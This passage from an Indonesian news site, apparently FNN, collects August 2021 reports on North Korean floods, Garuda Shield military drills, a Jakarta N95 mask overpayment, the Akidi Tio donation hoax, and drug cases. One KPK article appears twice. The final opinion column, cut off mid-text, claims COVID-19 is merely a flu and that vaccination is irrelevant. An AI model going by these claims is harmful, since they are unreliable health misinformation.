tidak mencatat hal itu sebagai pengaduan. "Ada juga pengaduan secara kolektif melalui surat yang kami terima beberapa waktu lalu," katanya. (mth)

Banjir Besar di Korut, Ribuan Warga Diungsikan

Seoul, FNN - Banjir akibat hujan deras berhari-hari di Korea Utara (Korut) telah menyebabkan lebih dari 1.100 rumah rusak, ribuan orang diungsikan, serta ladang dan jalan terendam, demikian media pemerintah melaporkan. Kekhawatiran meningkat karena rusaknya tanaman pertanian bisa berdampak pada pasokan makanan di negara yang masih belum bisa mengimpor barang-barang dari luar negeri akibat sanksi internasional. Korut juga terputus dari bantuan akibat menutup perbatasan untuk mencegah penyebaran virus corona. Hujan deras melanda sejumlah daerah di pantai timur, termasuk provinsi Hamgyong Utara dan Hamgyong Selatan, demikian dilaporkan media pemerintah KRT pada Kamis. Siaran televisi menampilkan rumah-rumah yang terendam hingga atap, serta sejumlah jembatan dan tanggul yang terseret air. Wakil kepala Badan Hidrometeorologi Negara, Ri Yong Nam, mengatakan kepada KRT, sebagian Hamgyong Utara mencatat ketinggian air di atas 500 mm dari Minggu sampai Selasa, sementara sejumlah kawasan di Hamgyong Selatan mencatat curah hujan di atas normal. "Kami memperkirakan hujan akan turun lebih banyak pada Agustus di sejumlah wilayah termasuk daerah pantai timur, yang bisa menimbulkan dampak lebih luas," kata dia. Pada Juni, pemimpin Korut Kim Jong Un mengatakan negaranya menghadapi situasi pangan yang "genting" dan akan sangat bergantung pada hasil panen tahun ini. Selama berbulan-bulan, media pemerintah menyiarkan proyek penguatan tanggul, perbaikan parit, jembatan dan infrastruktur lain sebagai upaya mencegah dampak banjir. Selama pembicaraan telepon pada Kamis, Menteri Luar Negeri AS Antony Blinken dan Menteri Luar Negeri Korea Selatan Chung Eui-yong membahas prospek bantuan kemanusiaan ke Korut, menurut pernyataan resmi kedua pihak. Namun mereka tidak menjelaskannya lebih detil. (sws)

Wakil Ketua MPR: Latihan Bersama TNI AD-US Army Jaga Perdamaian

Jakarta, FNN - Wakil Ketua MPR RI Syarief Hasan menilai latihan bersama antara TNI Angkatan Darat dengan United States (US) Army merupakan komitmen untuk meningkatkan profesionalisme, kesiapsiagaan, dan kesepahaman menyikapi perkembangan geopolitik dan geostrategis global, terutama perkembangan regional di Laut China Selatan demi jaga perdamaian global. "Saya mendukung langkah TNI AD dan US Army yang melakukan latihan tempur bersama. Hal ini penting untuk membagi pengalaman, sinergi, serta kesepahaman bersama dalam upaya mewujudkan perdamaian global," kata Syarief Hasan dalam keterangannya, di Jakarta, Jumat. Latihan bersama tersebut dilaksanakan di Pusat Latihan Tempur (Puslatpur) TNI AD di Martapura (Sumatera Selatan), Amborawang (Balikpapan), dan Makalisung (Manado), dari Minggu-Sabtu (1-14 Agustus). Syarief menilai latihan bersama tersebut bagi Indonesia menjadi simbol bahwa militer Indonesia selalu siap siaga dalam menyikapi berbagai perkembangan global, terutama ketegangan di Laut China Selatan. Dia menegaskan bahwa ikut mewujudkan perdamaian dunia adalah amanat konstitusi, karena itu segala bentuk upaya dan keikutsertaan Indonesia dalam menjaga perdamaian dunia adalah keniscayaan, terutama bagi TNI yang merupakan penjaga "benteng" republik. "Dengan adanya latihan gabungan ini, diharapkan militer Indonesia semakin profesional, tangkas, dan menajamkan perannya dalam menyikapi berbagai situasi global yang terjadi," ujarnya. Menurut dia, menyikapi situasi terkini di Laut China Selatan, latihan militer bersama adalah bentuk solidaritas global dan bukti kesiagaan Indonesia dalam menghadapi kemungkinan yang akan terjadi, bahkan yang terburuk sekali pun. Dia menilai, Indonesia harus selalu siap sedia terhadap berbagai macam kemungkinan, sebagaimana adagium klasik "si vis pacem, para bellum" artinya "jika kau mendambakan perdamaian, bersiap-siaplah menghadapi perang". "Ini adalah konsekuensi logis jika memang kedaulatan negara terancam oleh klaim sepihak dan pemaksaan oleh negara lain," katanya pula. Syarief mengatakan, pada prinsipnya Indonesia menganut politik bebas dan aktif, dan berimplikasi pada independensi serta hak menentukan nasib sendiri dalam menyikapi perkembangan dunia. Karena itu, dia menilai, latihan militer bersama tersebut perlu dipandang dalam kerangka solidaritas kolektif untuk menjaga kebebasan navigasi, penghargaan atas hukum internasional, dan menjaga perdamaian global. (sws)

Pemprov Babel Waspadai Kerumunan Massa Pilkades Pada Tiga Kabupaten

Pangkalpinang, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung (Pemprov Babel) mewaspadai kerumunan massa dalam pelaksanaan pemilihan kepala desa (pilkades) serentak di tiga kabupaten, karena dapat memicu peningkatan kasus COVID-19 klaster baru pilkades. "Pilkades ini perlu menjadi atensi, karena dapat memicu konflik serta klaster pandemi baru penularan Virus Corona," kata Sekretaris Daerah Provinsi Kepulauan Babel Naziarto, di Pangkalpinang, Jumat. Ia mengatakan dalam mengantisipasi kerumunan massa dan potensi konflik dalam pelaksanaan pilkades di Kabupaten Bangka, Bangka Tengah, dan Bangka Selatan yang digelar serentak pada Oktober 2021, Pemprov Kepulauan Babel telah menggelar rapat koordinasi agar pelaksanaan pesta demokrasi ini berjalan sesuai aturan dan protokol kesehatan yang ketat. "Dalam rakor kemarin, kami bersama forkopimda telah menerima masukan-masukan dan langkah strategis untuk mengantisipasi potensi gangguan keamanan dan lainnya," katanya. "Karena itu, perlu adanya sosialisasi terhadap penyelenggaraan pilkades, agar pelaksanaannya tidak menimbulkan potensi kerumunan massa," kata Naziarto pula. Wakil Ketua DPRD Provinsi Kepulauan Babel Amri Cahyadi mengatakan pemerintah daerah harus menyiapkan langkah-langkah yang tepat untuk mengantisipasi klaster baru penularan COVID-19. Selain itu, pemerintah daerah juga harus mulai merencanakan anggaran untuk penyelenggaraan konstelasi politik tersebut. "Langkah ini penting, jangan sampai terjadi aksi-aksi demonstrasi, pengumpulan massa yang akan memicu peningkatan kasus COVID-19," katanya lagi. (sws)

Pengamat Pemilu Harap Pemilihan Presiden dan DPRD Tidak Digabung

Jakarta, FNN - Anggota Dewan Pembina Perludem Titi Anggraini berharap agar model pemilihan umum (pemilu) serentak untuk memilih Presiden, DPR, dan DPD tidak digabung dengan DPRD. "Ke depan, diharapkan DPRD dipisahkan pemilihannya dari pemilihan Presiden, DPR, dan DPD," kata Titi ketika dihubungi oleh ANTARA dari Jakarta, Jumat. Harapan tersebut ia ungkap ketika membahas penyelenggaraan Pemilu 2024. Menurut Titi, penggabungan pemilihan umum DPRD dengan Presiden, DPR, dan DPD membuat beban pemilih dan panitia penyelenggara pemilu menjadi lebih berat dan rumit. Hal tersebut yang dianggap sebagai penyebab kompleksitas Pemilu 2024 dan perlu disederhanakan. Berdasarkan pengamatan yang telah dilakukan oleh mantan Direktur Eksekutif Perkumpulan untuk Pemilu dan Demokrasi (Perludem), sebaiknya, untuk sistem pemilu legislatif proporsional terbuka, terdapat aturan berupa tidak banyak posisi yang dipilih secara bersamaan dan skala daerah pemilihan sebaiknya tidak terlalu besar. Adapun yang dimaksud dengan sistem pemilu legislatif proporsional terbuka adalah sistem pemilu yang memungkinkan pemilih untuk memberi suara kepada individu yang akan duduk di kursi parlemen, alih-alih hanya memberi suara berdasarkan partai. Pemilihan dengan model ini mengakibatkan banyaknya daftar nama calon legislatif yang tercantum di dalam surat suara. Maka dari itu, Titi menilai bahwa pemisahan pemilihan DPRD dengan Presiden, DPR, dan DPD merupakan solusi untuk menyederhanakan pemilu. "Hal itu guna menghindari pemilu yang terlalu crowded (penuh sesak),” tutur-nya seraya menambahkan pemilihan yang terlalu padat dinilai akan menyulitkan pemilih dan membebani petugas. Sebelumnya, salah satu upaya yang telah dilakukan oleh Komisi Pemilihan Umum (KPU) untuk mengatasi kompleksitas pemilu adalah melalui penyederhanaan surat suara. Namun, menurut Titi, belum tentu upaya tersebut dapat mengurai kompleksitas Pemilu 2024 sepenuhnya. "Tidak ada jaminan bahwa semua persoalan kompleksitas pemilu kita akan tuntas hanya dengan penyederhanaan surat suara di pemilu," ujar Titi. Meskipun demikian, ia tetap mengapresiasi upaya KPU terkait penyederhanaan surat suara dan mengatakan bahwa gagasan tersebut merupakan gagasan yang progresif. (sws)

Kabupaten OKU Timur Percepat Pembentukan Mal Pelayanan Publik

Martapura, FNN - Pemerintah Kabupaten Ogan Komering Ulu (OKU) Timur, Sumatera Selatan, mempercepat pembentukan Mal Pelayanan Publik (MPP) agar masyarakat lebih mudah dalam mengurus berbagai dokumen penting melalui pelayanan terpadu. Sekretaris Daerah Pemkab OKU Timur, Jumadi di Martapura, Jumat menerangkan, pembentukan MPP ini sebagai wujud keseriusan pemerintah daerah dalam memberikan pelayanan terbaik kepada masyarakat di wilayah itu. MPP yang segera dibentuk ini merupakan tempat pelayanan terpadu yang melayani semua pengurusan dokumen dilakukan pada satu tempat. Pelayanan satu atap ini melayani kepengurusan administrasi kependudukan seperti akte kelahiran, surat kematian, kartu identitas anak, KTP; dan beragam jenis izin usaha lainnya. Termasuk juga pelayanan BPJS Kesehatan, BPJS Ketenagakerjaan, PDAM, izin terkait kendaraan, perpanjangan SIM hingga pembayaran retribusi daerah dapat dilakukan di MPP. "Dan masih banyak lagi pelayanan yang dapat dilayani di MPP tersebut," tegasnya. Sekda meminta agar dinas terkait segera merumuskan sampel 3D dan mempercepat kajian akademik supaya MPP dapat dibentuk tahun ini. Dengan adanya MPP warga tidak perlu lagi ke berbagai instansi untuk mengurus satu keperluan karena dapat dilakukan di Mal Pelayanan Publik. "Dengan adanya MPP pelayanan menjadi ringkas, transparan dan tanpa pungutan tidak resmi. Pembayaran untuk retribusi daerah, bisa langsung dibayarkan ke loket bank yang disediakan," ujarnya. (sws)

Jakarta Kelebihan Bayar Masker N95 Rp 5,8 Miliar

Jakarta, FNN - Badan Pemeriksa Keuangan (BPK) menyebutkan Pemerintah Provinsi DKI Jakarta kelebihan membayar masker respirator N95 sebesar Rp 5,8 miliar dari pos belanja tidak terduga (BTT) APBD DKI 2020. Hal ini disampaikan BPK dalam laporan hasil pemeriksaan atas laporan keuangan Pemprov DKI 2020 yang disahkan Kepala BPK DKI Pemut Aryo Wibowo, Kamis (5/8/2021). Laporan tersebut juga menyebut pembelian masker itu dilakukan melalui dua perusahaan berbeda, yakni PT IDS dan PT ALK yang memiliki kisaran harga berbeda. "Permasalahan itu mengakibatkan pemborosan keuangan daerah senilai Rp 5.850.000.000," tulis Pemut dalam laporan yang dikutip di Jakarta. Dalam laporan itu, disebutkan bahwa Dinas Kesehatan DKI melakukan kontrak dengan PT IDS untuk pembelian masker sebanyak tiga kali dengan jumlah total 89.000 masker yang berita acaranya disahkan pada 5 Agustus, 28 September, dan 6 Oktober 2020. Sebagaimana dikutip dari Antara, Jumat (6/8/2021), pembelian pertama sebanyak 39.000 masker, harga yang ditetapkan adalah Rp 70.000. Selanjutnya, pada pembelian kedua dan ketiga, harganya turun jadi Rp 60 ribu. Sedangkan kontrak untuk pembelian respirator N95 dengan PT ALK diketahui dalam berita acara pada 30 November 2020. Dinkes DKI memesan 195.000 unit masker dengan harga tiap satuannya mencapai Rp90.000. BPK lantas melakukan komunikasi dengan keduanya. Hasilnya, diketahui ternyata PT IDS sanggup jika melakukan pengadaan masker Respirator N95 sebanyak 200.000 pcs karena stok barang tersedia. Namun, Pejabat Pembuat Komitmen (PPK) melakukan pembelian masker jenis serupa kepada PT ALK. Karena kebijakan itu, Pemut menilai PPK tidak cermat dalam mengelola keuangan daerah secara ekonomis. Yakni dalam hal mendapatkan barang dengan kualitas dan kuantitas tertentu pada tingkat harga terendah. Pemut pun meminta agar Pemprov DKI mengedepankan asas yang menguntungkan bagi negara dengan memilih pengadaan barang yang lebih murah dan kualitas yang sama. "Jika mengadakan barang yang berjenis dan kualitas sama, seharusnya melakukan negosiasi harga minimal dengan harga barang yang sama atas harga respirator (N95) lainnya yang memenuhi syarat. Bahkan, lebih rendah dari pengadaan sebelumnya," ujarnya. (MD).

Latihan Garuda Shield tidak Cederai Kebijakan Politik Bebas Aktif

Jakarta, FNN - Guru Besar Hukum Internasional Universitas Indonesia, Hikmahanto Juwana mengatakan, latihan bersama Garuda Shield antara TNI Angkatan Darat dan Angkatan Darat Amerika Serikat (US Army) tidak mencederai kebijakan politik luar negeri Indonesia yang bebas dan aktif. "Bagi Indonesia yang menjalankan politik luar negeri bebas aktif tentu latihan bersama tidak dapat dimaknai seolah Indonesia lebih mendekat dengan Amerika Serikat dibanding negara lain, utamanya China," ujar Hikmahanto dalam keterangan tertulis di Jakarta, Jumat, 6 Agustus 2021. Belakangan ini AS dan China terlibat persaingan untuk mendapatkan dominasi di berbagai belahan dunia. Perebutan pengaruh tersebut lebih intensif di Laut China Selatan. Indonesia bagi AS dan China, lanjut Hikmahanto, menjadi negara kunci untuk diperebutkan karena nilai strategis dalam banyak aspek. "Dalam posisi demikian, Indonesia mendapat banyak tawaran yang datangnya dari kedua negara yang memperebutkannya. Mulai dari hutang luar negeri, pemberian vaksin gratis hingga latihan bersama antar militer," katanya sebagaimana dikutip dari Antara. Dengan tawaran itersebut diharapkan Indonesia lebih condong ke salah satu pihak. "Bagi Indonesia tentu tawaran-tawaran yang diberikan tidak perlu ditolak, justru harus diterima dengan ketentuan tidak merugikan kepentingan nasional," ujarnya. Hikmahanto mengatakan, politik luar negeri bebas aktif harus dimaknai sebagai kebijakan Indonesia yang berteman dengan semua negara. Selain itu, bermakna menerima berbagai tawaran dari negara mana pun sepanjang tidak mencederai kepentingan Indonesia. "Politik luar negeri Indonesia harus mengabdi pada kepentingan nasional," tuturnya. Dalam konteks demikian, Garuda Shield tidak dapat dimaknai atau disebut Indonesia lebih condong kepada AS. "Bahkan merupakan persepsi yang salah bila Garuda Shield dianggap menciderai politik luar negeri bebas aktif," kata Hikmahanto. Kepala Staf Angkatan Darat Jenderal Andika Perkasa sebelumnya mengatakan, tujuan utama dari latihan bersama tersebut adalah agar prajurit AD yang terlibat dapat mengembangkan jejaring mereka dengan para prajurit AS. Selain itu dimaksudkan menimba pengalaman dan pengetahuan teknik berperang. (MD).

Copot Kapolda

By M Rizal Fadillah DUA Kapolda melakukan perbuatan yang berbahaya bagi bangsa. Keduanya adalah Kapolda Metro Irjen Pol Fadil Imran dan Kapolda Sumsel Irjen Pol Eko Indra Heri. Fadil Imran diduga terlibat sekurangnya dalam pembiaran terjadinya pembantaian 6 anggota Laskar FPI. Sementara Eko Indra ikut mengecoh publik atas uang 2 Trilyun dana keluarga Akidi Tio. Irjen Pol Fadil Imran telah melakukan perbuatan berbahaya dengan mencoba mentersangkakan 6 orang korban pembantaian dan melindungi anggota Kepolisian Polda Metro Jaya yang bertindak sebagai Pelapor. Kapolda tidak menindak anggotanya yang kemudiannya berstatus Tersangka dalam kasus pembunuhan dan penganiayaan tersebut. Kapolda Sumsel di tengah pandemi yang mencekam telah mengecoh publik dengan publikasi saat menerima dana sumbangan 2 Trilyun dari Heryanti anak bungsu pengusaha Akidi Tio yang kemudian diketahui ternyata uang 2 Trilyun tersebut hanya "pasir" saja. Hoax atau prank ini akan menjadi catatan sejarah bangsa. Nama Eko Indra pun ikut melegenda. Kapolri harus konsisten untuk membuktikan adanya langkah pembenahan di lingkungan Kepolisian dengan berani mencopot kedua Kapolda yang menghebohkan tersebut. Pembiaran atas pencemaran korps tentu berefek buruk bagi citra Kapolri sebagai atasan. Khusus mengenai kasus hoax keluarga Akidi Tio masyarakat menuntut penuntasan segera. Pemberhentian Kapolda adalah pilihan terbaik di samping proses hukum cepat tersangka Heryanti dan pihak lain yang terlibat. Menurut Kapolda informasi awal datang dari Kadinkes Sumsel dan Profesor Hardi Darmawan, dokter pribadi keluarga Akidi Tio. Masyarakat mengaitkan hoax 2 Trilyun dengan hoax Presiden soal dana 11.000 Trilyun. Dalam situs resmi Setkab, yang konon kini dihapus, tertulis "Datanya sudah ada, Presiden Jokowi : Uang kita yang disimpan di luar negeri Rp 11.000 Trilyun". Ternyata uang itu hingga kini tidak terbukti keberadaannya. Fakta yang terjadi justru hutang yang berjumlah 6.416 Trilyun di bulan Mei 2021. Di medsos netizen mencoba melakukan inventarisasi hoax Presiden mulai soal laku 6000 unit mobil Esemka, pengangguran digaji, sudah beli 2 juta Avigan, 50 juta masker, penguatan KPK, cetak 3 juta lahan pertanian, anak yang tak tertarik politik, persulit investasi asing, stop hutang luar negeri, stop impor, tidak bagi-bagi jabatan, hingga yang paling diingat yaitu ekonomi meroket. Mulailah untuk menjalankan prinsip good governance dengan pemberantasan hoax pejabat negara. Janganpah hoax itu selalu dituduhkan kepada rakyat semata. Pencopotan Kapolda Sumsel adalah bukti keseriusan dalam membenahi aparatur negara. Pandemi membuat panik sehingga aparat kehilangan kendali dan kontrolnya lagi. Membabi buta dengan "uang pasir" 2 Trilyun. Kapolda memang sudah meminta maaf atas ketidakhati-hatiannya, tetapi persoalan menghebohkan ini tidak cukup dengan meminta maaf. Ini bukan saat lebaran sebagai momen saling maaf memaafkan. Ini persoalan bangsa dan negara. Persoalan sosial, politik, dan hukum. Ayo copot Kapolda Metro dan Kapolda Sumsel, Kepolisian masih memiliki sumber daya manusia yang lebih baik, profesional dan berakhlak. *) Pemerhati Politik dan Kebangsaan

Kapolda Sumsel Diperiksa Tim Wasriksus Polri Selama Enam Jam

Sumatera Selatan, FNN- Tim pengawasan dan pemeriksaan khusus (Wasriksus) Polri yang dipimpin Inspektur Jendral Polisi Agung Wicaksono melakukan pemeriksaan terhadap Kepala Polisi Daerah Sumatera Selatan Inspektur Jendral Polisi Eko Indra Heri selama lebih kurang enam jam, Kamis. Pemeriksaan tersebut dilakukan dalam agenda audit investigasi (pendalaman) ihwal dana hibah Rp2 triliun dari almarhum Akidi Tio (warga asal Langsa, Aceh Timur, Provinsi Aceh) yang belum jelas keberadaannya. Kepala Bidang Humas Polisi Daerah Sumatera Selatan Komisaris Polisi Supriadi di Palembang, Kamis, secara singkat mengatakan pemeriksaan tersebut dilakukan secara internal Polri sehingga tidak bisa memberikan informasi perkembangan lebih lanjut. "Saya tidak bisa berkomentar," kata dia. Namun di sisi lain, ia memastikan tim penyidik reserse kriminal umum akan bekerja semaksimal mungkin untuk melakukan penyelesaian permasalahan dana hibah yang diproyeksikan untuk penanggulangan COVID-19 di Sumatera Selatan secara profesional. Berdasarkan pantauan di lapangan, tim Wasriksus melakukan pemeriksaan lebih kurang selama enam jam, setibanya mereka di gedung promoter markas Polda Sumatera Selatan pada pukul 15.15 WIB dan meninggalkan gedung promoter markas Polda Sumatera Selatan sekitar pukul 20.56 WIB. Dalam agenda itu Kepala Polisi Daerah Sumatera Selatan Inspektur Jendral Polisi Eko Indra Heri didampingi oleh Direktur Intelijen dan Keamanan Komisaris Besar Polisi Ratno Kuncoro. Lalu Direktur Reserse Kriminal Umum, Komisaris Besar Polisi Hisar Siallagan, Kepala Bidang Propam Komisaris Besar Polisi Dedi Sofiandi dan Kepala Bidang Humas Komisaris Besar Polisi Supriyadi. Setelah selesai melakukan pemeriksaan rombongan tim Wasriksus meninggalkan lokasi tepat pada pukul 21.00 WIB diikuti juga oleh Kapolda dan jajaran. Sebelumnya Kepala Polisi Daerah Sumatera Selatan Inspektur Jendral Polisi Eko Indra Heri telah menyampaikan permohonan maaf secara langsung kepada seluruh masyarakat ihwal dana hibah Rp2 triliun dari almarhum Akidi Tio yang belum jelas keberadaanya. Permohonan maaf tersebut disampaikan Kapolda didampingi oleh Kepala Bidang Humas Komisaris Besar Polisi Supriyadi di gedung promoter Markas Polisi Daerah Sumatera Selatan, Palembang, Kamis. "Saya minta maaf kepada seluruh masyarakat Indonesia, khususnya Kapolri, Pimpinan di Mabes Polri, anggota Polri, masyarakat Sumsel, tokoh agama dan tokoh adat termasuk Forkompinda Sumsel, Gubernur, Pangdam dan Danrem," kata dia. Ia mengakui, kesalahan ada pada dirinya secara pribadi karena tidak berhati-hati dalam memastikan donasi yang diproyeksikan untuk penanggulangan COVID-19 Sumatera Selatan yang dimandatkan kepadanya tersebut sampai akhirnya menimbulkan kegaduhan. "Kegaduhan yang terjadi dapat dikatakan sebagai kelemahan saya sebagai individu. Saya sebagai manusia biasa memohon maaf, Ini terjadi akibat ke tidak hati-hatian saya," kata dia. Sekaligus juga ia menyampaikan bahwa telah memaafkan pihak keluarga almarhum Akidi Tio yang saat ini ada lima orang ditetapkan sebagai saksi oleh tim penyidik reserse kriminal umum, yakni Heryanti Tio, Rudi Sutadi, Kelvin (satu keluarga anak alm Akidi Tio), dr Hardi Darmawan (dokter pribadi keluarga) dan satu lain belum diketahui identitasnya. "Terlepas ada atau tidaknya dana ini saya sudah memaafkan keluarga mendiang Akidi Tio," tandasnya.(sws)

PN Denpasar Adili Oknum Polisi Karena Jadi Perantara Jual Beli Narkoba

Denpasar, FNN - Oknum polisi di Bali bernama I Gusti Ngurah Menara diadili di Pengadilan Negeri Denpasar, Bali, karena menjadi perantara jual beli narkotika. "Dari terdakwa ditemukan barang bukti sebanyak 52 plastik klip yang berisi kristal bening mengandung narkotika jenis metamfetamina atau sabu dengan berat keseluruhan 84,34 gram netto atau 97,38 gram brutto," kata Jaksa Penuntut Umum Made Ayu Citra Maya Sari dalam sidang virtual di PN Denpasar, Bali, Kamis. Dalam perkara ini, terdakwa didakwa dengan tiga pasal, yaitu Pasal 114 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika, Pasal 112 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika dan 115 ayat (1) UU RI Nomor 35 Tahun 2009 tentang Narkotika. Dalam dakwaan pertama, Jaksa Citra Maya menjelaskan bahwa awalnya terdakwa dihubungi oleh seseorang yang bernama Putu (DPO) untuk mengambil tempelan satu paket sabu dengan berat 100 gram di pinggir jalan di semak semak Jalan Raya Bypass Ngurah Rai Sanur Kota Denpasar. Selanjutnya, terdakwa pulang ke rumahnya di Perumahan Cempaka Claster Residence Banjar Jebaud Desa Bringkit Belayu Kecamatan Marga Kabupaten Tabanan, dan memecah paket sabu yang diambilnya menjadi 51 paket dan menyisakan satu plastik klip dengan menggunakan timbangan elektrik masing-masing dengan berat satu gram sebanyak 11 paket, berat 0,4 gram sebanyak 14 paket dan 0,2 gram sebanyak 26 paket dan sisanya satu plastik klip berisi kristal bening beratnya 70 gram yang belum dibagi. "Terdakwa menunggu perintah dari seseorang yang bernama Putu (DPO) untuk menaruh atau menempel 51 paket yang sudah ada tersebut," katanya. Pada Sabtu 8 Mei 2021 sekitar jam 11.30 Wita terdakwa kembali dihubungi melalui telepon oleh Putu (DPO) untuk menaruh atau menempel sabu di pinggir jalan Raya Kerobokan Banjar Kancil Desa Kerobokan Kecamatan Kuta Utara Kabupaten Badung. Setelah itu terdakwa menuju lokasi yang sudah ditentukan dan menyebarkan atau menempel puluhan paket sabu yang sebelumnya sudah dipecah-pecah terdakwa. Terdakwa ditangkap pada (8/05) pada pukul 18.30 Wita di pinggir Jalan Raya Kerobokan Banjar Campuan Kecamatan Kuta Utara Kabupaten Badung. "Terdakwa mengakui narkotika tersebut didapat dari seseorang yang bernama Putu (DPO) yang sebelumnya meminta terdakwa mengambil barang paketan berupa sabu dengan berat 100 gram yang selanjutnya dipecah menjadi 51 paket dan satu paket dengan tujuan untuk ditempel atau di taruh kembali sesuai pesanan Putu (DPO)," kata Jaksa.(sws)

KPK: BKN Disebut Tak Kompeten Laksanakan TWK Bertentangan dengan Hukum

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menyatakan pendapat Ombudsman RI mengenai tidak kompetennya Badan Kepegawaian Negara (BKN) dalam melaksanakan asesmen Tes Wawasan Kebangsaan (TWK) bertentangan dengan hukum. "Pendapat Ombudsman RI yang menyatakan telah terjadi maladministrasi berupa tidak kompetennya BKN dalam melaksanakan asesmen TWK bertentangan dengan hukum dan bukti," ucap Wakil Ketua KPK Nurul Ghufron saat jumpa pers di Gedung KPK, Jakarta, Kamis. KPK, Kamis, menyampaikan tanggapan atas Laporan Akhir Hasil Pemeriksaan (LAHP) Ombudsman RI soal adanya dugaan penyimpangan prosedur dalam proses peralihan pegawai KPK menjadi Aparatur Sipil Negara (ASN). Salah satunya perihal tidak kompetennya BKN dalam melaksanakan TWK tersebut. Lebih lanjut, Ghufron pun mempertanyakan jika BKN dianggap tidak kompeten lantas lembaganya akan meminta kepada siapa lagi terkait pelaksanaan TWK tersebut. "Pertanyaannya kalau BKN dianggap tidak kompeten kemudian ditolak oleh Ombudsman RI, kepada siapa lagi KPK akan meminta TWK ini. Ini kan tidak logis lembaga atau ketatanegaraan sudah memberi wewenang kepada BKN kemudian oleh Ombudsman RI dinyatakan tidak kompeten, lantas kepada siapa kami akan meminta TWK kalau BKN menolak," ujar Ghufron. Ia juga menegaskan dalam Undang-Undang RI Nomor 5 Tahun 2014 tentang ASN juga telah disebut kewenangan BKN dalam menyelenggarakan manajemen ASN. Dia menyatakan dalam peraturan perundang-undangan, Pasal 1 angka 21 Undang-Undang Nomor 5 Tahun 2014 tentang ASN menyatakan BKN yang selanjutnya adalah lembaga pemerintah nonkementerian diberi kewenanangan melakukan pembinaan, menyelenggarakan manajemen ASN. "Kalau kemudian BKN dianggap tak kompeten berarti "kosong" karena tidak ada lagi di Republik Indonesia yang memiliki kewenangan untuk ini," lanjut Ghufron. KPK telah menyatakan keberatan atas hasil pemeriksaan Ombudsman RI tersebut. "Kami menyatakan keberatan untuk menindaklanjuti tindakan korektif yang disarankan Ombudsman RI," kata dia. KPK akan menyampaikan surat keberatan kepada Ombudsman RI pada Jumat (6/8).*- Komisi Pemberantasan Korupsi (KPK) menyatakan pendapat Ombudsman RI mengenai tidak kompetennya Badan Kepegawaian Negara (BKN) dalam melaksanakan asesmen Tes Wawasan Kebangsaan (TWK) bertentangan dengan hukum. "Pendapat Ombudsman RI yang menyatakan telah terjadi maladministrasi berupa tidak kompetennya BKN dalam melaksanakan asesmen TWK bertentangan dengan hukum dan bukti," ucap Wakil Ketua KPK Nurul Ghufron saat jumpa pers di Gedung KPK, Jakarta, Kamis. KPK, Kamis, menyampaikan tanggapan atas Laporan Akhir Hasil Pemeriksaan (LAHP) Ombudsman RI soal adanya dugaan penyimpangan prosedur dalam proses peralihan pegawai KPK menjadi Aparatur Sipil Negara (ASN). Salah satunya perihal tidak kompetennya BKN dalam melaksanakan TWK tersebut. Lebih lanjut, Ghufron pun mempertanyakan jika BKN dianggap tidak kompeten lantas lembaganya akan meminta kepada siapa lagi terkait pelaksanaan TWK tersebut. "Pertanyaannya kalau BKN dianggap tidak kompeten kemudian ditolak oleh Ombudsman RI, kepada siapa lagi KPK akan meminta TWK ini. Ini kan tidak logis lembaga atau ketatanegaraan sudah memberi wewenang kepada BKN kemudian oleh Ombudsman RI dinyatakan tidak kompeten, lantas kepada siapa kami akan meminta TWK kalau BKN menolak," ujar Ghufron. Ia juga menegaskan dalam Undang-Undang RI Nomor 5 Tahun 2014 tentang ASN juga telah disebut kewenangan BKN dalam menyelenggarakan manajemen ASN. Dia menyatakan dalam peraturan perundang-undangan, Pasal 1 angka 21 Undang-Undang Nomor 5 Tahun 2014 tentang ASN menyatakan BKN yang selanjutnya adalah lembaga pemerintah nonkementerian diberi kewenanangan melakukan pembinaan, menyelenggarakan manajemen ASN. "Kalau kemudian BKN dianggap tak kompeten berarti "kosong" karena tidak ada lagi di Republik Indonesia yang memiliki kewenangan untuk ini," lanjut Ghufron. KPK telah menyatakan keberatan atas hasil pemeriksaan Ombudsman RI tersebut. "Kami menyatakan keberatan untuk menindaklanjuti tindakan korektif yang disarankan Ombudsman RI," kata dia. KPK akan menyampaikan surat keberatan kepada Ombudsman RI pada Jumat (6/8). (sws)

Polisi Sita Ganja Seberat 28 Kilogram di Pelabuhan Bakauheni

Lampung Selatan FNN - Kepolisian sektor kawasan Pelabuhan (KSKP) Bakauheni Lampung Selatan menyita sebanyak 28 kilogram ganja kering yang dikemas ke dalam 28 paket ganja warna cokelat di areal Seafort Interdiction Pelabuhan Bakauheni pada Sabtu (31/7). "Barang bukti itu milik tersangka F (40) warga Dusun Bineh Blang, Desa Kampung Raya Kecamatan Seulemeum, Kabupaten Aceh Besar Provinsi Aceh," kata Wakapolres Lampung Selatan, Kompol Firman Sontama, pada ekspose kasus itu di halaman KSKP Bakauheni, Lampung Selatan, Kamis. Ia menyebutkan ganja itu dibawa menggunakan kendaraan ekspedisi truk boks paket PT Indah Logistik B 9817 FXU. Atas penangkapan tersebut pihaknya lalu mengembangkan perkara tersebut dan berhasil menangkap tersangka F pada 2 Agustus 2021 pukul 02.00 WIB di Depok. "Tersangka F yang menerima dan rencananya ganja itu akan diedarkan di daerah Depok Jawa Barat," kata Firman. Tersangka F sendiri mengaku sehari-hari bekerja di mobil tinja. Atas perbuatannya tersangka akan dikenakan Pasal 111 ayat (2) jo pasal 114 ayat (2) UU RI Nomor 35 Tahun 2009 tentang Narkotika.(sws)

Melawan Covid-19: Intimasi dan Nutrisi

Oleh: Prof. Daniel Mohammad Rosyid Vaksinasi massal melawan flu Covid-19 saat ini semakin dipaksakan. Terakhir BIN (Badan Intelijen Negara) telah dilibatkan dalam vaksinasi santri pesantren. Bahkan sertifikat vaksin kini dijadikan syarat mobilitas. Ada rencana untuk menjadikannya sebagai syarat administrasi untuk memperoleh pelayanan publik. Kebijakan penanganan covid yang terlambat dan inkonsisten sehingga tidak efektif justru dijadikan alasan bagi vaksinasi paksa massal ini. Langkah ini dipijakkan pada pendakuan yang rapuh, dan inkonstitusional tapi sekaligus jahat. Ada 4 alasan mengapa vaksinasi tidak relevan dalam menghadapi Flu Covid-19. Pertama, covid-19 sebagai flu adalah self-limiting disease dan ditularkan lebih melalui droplet. Virus sulit menular di ruang terbuka, panas, dan berkelembaban tinggi. Ada upaya sesat mengubah Covid-19 sebagai bukan flu, ditambah dengan narasi virus menular melalui aerosol dan OTG, sehingga pandemi Covid-19 ini menjadi semacam teror biologis. Padahal flu itu tidak ada obatnya; vaksin bukan obat 